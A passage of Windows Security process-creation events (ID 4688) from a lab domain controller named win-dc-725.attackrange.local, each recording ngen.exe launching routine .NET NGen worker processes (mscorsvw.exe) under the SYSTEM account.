Process Information:
	New Process ID:		0x2e4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 81c -InterruptEvent 0 -NGENProcess 7e8 -Pipe 268 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:33 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255214
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x3a0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2e4 -InterruptEvent 0 -NGENProcess 250 -Pipe 31c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:33 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255213
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1024
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 81c -InterruptEvent 0 -NGENProcess 268 -Pipe 28c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:34 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255218
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9cc
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2ec -InterruptEvent 0 -NGENProcess 850 -Pipe 288 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:34 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255217
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10d0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 368 -InterruptEvent 0 -NGENProcess 82c -Pipe 260 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:36 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255220
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x368
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 1e4 -InterruptEvent 0 -NGENProcess 888 -Pipe 850 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:36 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255219
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xbcc
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2e4 -InterruptEvent 0 -NGENProcess 880 -Pipe 2b0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255226
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xab8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 7e8 -InterruptEvent 0 -NGENProcess 868 -Pipe 2e4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255225
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4d0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 81c -InterruptEvent 0 -NGENProcess 884 -Pipe 87c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255224
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xea8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 860 -InterruptEvent 0 -NGENProcess 88c -Pipe 2ec -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255223
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11c8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2e4 -InterruptEvent 0 -NGENProcess 880 -Pipe 2dc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255222
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1398
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 81c -InterruptEvent 0 -NGENProcess 7e8 -Pipe 86c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255221
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11c4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2e4 -InterruptEvent 0 -NGENProcess 2dc -Pipe 250 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:38 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255227
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10ec
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 874 -InterruptEvent 0 -NGENProcess 81c -Pipe 864 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255228
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x598
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 870 -InterruptEvent 0 -NGENProcess 878 -Pipe 840 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255230
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x8bc
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 1e4 -InterruptEvent 0 -NGENProcess 888 -Pipe 898 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:41 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255229
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd8c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 89c -InterruptEvent 0 -NGENProcess 874 -Pipe 878 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:42 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255232
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x133c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 84c -InterruptEvent 0 -NGENProcess 874 -Pipe 860 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:42 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255231
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13ac
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
